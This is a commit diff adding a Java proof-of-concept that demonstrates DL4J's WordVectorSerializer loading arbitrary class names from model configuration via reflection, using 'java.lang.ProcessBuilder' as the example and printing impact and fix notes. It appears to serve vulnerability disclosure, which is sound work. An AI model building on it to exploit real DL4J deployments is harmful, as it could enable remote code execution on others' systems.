Upload DL4JPoCTest.java

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  1. DL4JPoCTest.java +56 -0
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+ import java.io.*;
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+ import java.lang.reflect.*;
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+
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+ /**
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+ * Proof of Concept for DL4J Arbitrary Class Instantiation Vulnerability
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+ *
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+ * This demonstrates how DL4J's WordVectorSerializer dynamically instantiates
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+ * classes specified in model configuration files without validation.
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+ *
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+ * To run:
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+ * javac DL4JPoCTest.java
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+ * java -cp ".:path/to/deeplearning4j-core.jar" DL4JPoCTest
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+ */
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+ public class DL4JPoCTest {
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+
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+ public static void main(String[] args) {
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+ System.out.println("[*] DL4J Arbitrary Class Instantiation PoC Test");
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+ System.out.println("[*] ============================================\n");
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+
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+ // Simulate what DL4J's DL4JClassLoading.createNewInstance() does
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+ String maliciousClassName = "java.lang.ProcessBuilder";
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+
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+ System.out.println("[*] Demonstrating how DL4J loads unvalidated class names from model config:");
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+ System.out.println("[*] tokenizerFactory = \"" + maliciousClassName + "\"\n");
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+
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+ try {
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+ // This is what happens in WordVectorSerializer.java line 3069
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+ System.out.println("[*] Loading class: " + maliciousClassName);
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+ Class<?> loadedClass = Class.forName(maliciousClassName);
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+ System.out.println("[+] SUCCESS: Class loaded! " + loadedClass.getName());
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+
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+ // Attempting to instantiate (this is what DL4J tries)
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+ System.out.println("[*] Attempting instantiation via reflection...");
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+ Constructor<?> constructor = loadedClass.getDeclaredConstructor();
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+ Object instance = constructor.newInstance();
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+ System.out.println("[+] VULNERABILITY CONFIRMED: Instance created: " + instance.getClass().getName());
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+
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+ System.out.println("\n[!] IMPACT: Attacker can specify any Java class in model config");
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+ System.out.println("[!] If suitable gadget classes exist on classpath, RCE is possible");
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+
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+ } catch (ClassNotFoundException e) {
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+ System.out.println("[-] Class not found: " + e.getMessage());
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+ } catch (NoSuchMethodException e) {
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+ System.out.println("[!] No zero-arg constructor found (expected for ProcessBuilder)");
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+ System.out.println("[!] But this proves class loading works - other gadget classes may exist");
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+ } catch (Exception e) {
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+ System.out.println("[!] Exception during instantiation: " + e.getClass().getSimpleName());
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+ System.out.println("[!] This is expected - but the vulnerability is the ATTEMPT itself");
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+ e.printStackTrace();
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+ }
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+
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+ System.out.println("\n[*] Vulnerability: DL4J loads arbitrary classes without allowlist");
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+ System.out.println("[*] File: WordVectorSerializer.java, lines 3067-3069");
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+ System.out.println("[*] Fix: Implement class allowlist or use safer deserialization");
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+ }
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+ }